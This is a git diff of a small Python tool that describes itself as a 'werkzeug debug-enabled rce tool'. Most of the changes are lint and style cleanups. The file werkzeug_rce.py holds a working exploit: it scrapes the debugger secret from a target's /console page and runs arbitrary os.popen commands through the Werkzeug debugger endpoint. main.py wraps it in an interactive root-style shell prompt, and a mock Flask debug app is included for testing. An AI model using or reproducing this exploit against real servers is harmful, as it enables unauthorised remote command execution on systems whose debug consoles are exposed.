diff --git a/.pylintrc b/.pylintrc new file mode 100644 index 0000000..7cc6bb5 --- /dev/null +++ b/.pylintrc @@ -0,0 +1,3 @@ +[FORMAT] +indent-string=\t +disable=E0402,E0401 \ No newline at end of file diff --git a/main.py b/main.py index 0f3c60d..eff5657 100644 --- a/main.py +++ b/main.py @@ -1,8 +1,9 @@ #!/usr/bin/env python -from sys import argv +'''werkzeug debug-enabled rce tool''' +from sys import argv, exit as sysexit from werkzeug_rce import DebugRce -if __name__=='__main__': +if __name__ == '__main__': d = DebugRce(argv[1]) d.exec(argv[2]) @@ -11,6 +12,6 @@ cmd = input(f'root@{argv[1]}:~$ ') for line in d.exec(cmd): print(line) - except: + except KeyboardInterrupt: print('\nQuiting!') - exit() + sysexit() diff --git a/test/mock_flask.py b/test/mock_flask.py index 255184b..ce61cfa 100644 --- a/test/mock_flask.py +++ b/test/mock_flask.py @@ -1,9 +1,11 @@ +'''This file is used to create a Flask debug instance for testing''' from flask import Flask app = Flask(__name__) @app.route('/') def main(): - raise + '''Empty method for root route''' + return None app.run("127.0.0.1", debug=True, port=80) diff --git a/werkzeug_rce.py b/werkzeug_rce.py index e8c2048..2244f7b 100644 --- a/werkzeug_rce.py +++ b/werkzeug_rce.py @@ -1,12 +1,23 @@ +'''Parser class''' from requests_html import HTMLSession class DebugRce: - def __init__(self, URL) -> None: - self.URL = URL + '''RCE class''' + def __init__(self, url) -> None: + '''init method''' + self.url = url self.req = HTMLSession() - self.secret = self.req.get(f'http://{self.URL}/console').html.find('script')[1].text.split(' ')[-1][1:-2] + self.secret = self.req.get( + f'http://{self.url}/console').html.find('script')[1].text.split(' ')[-1][1:-2] def exec(self, cmd) -> list: - self.cmd = f'''__import__('os').popen('{cmd}').read();''' - self.res = self.req.get(f'http://{self.URL}/console?__debugger__=yes&cmd={self.cmd}&frm=0&s={self.secret}') - return self.res.html.text[1:-1].split('\\n')[0:-1] + '''.exec() method used to execute arbitrary comands''' + + cmd = f'''__import__('os').popen('{cmd}').read();''' + res = self.req.get( + f'http://{self.url}/console?__debugger__=yes&cmd={cmd}&frm=0&s={self.secret}') + return res.html.text[1:-1].split('\\n')[0:-1] + + def show_url(self): + '''.show_url() method used to show URL''' + return self.url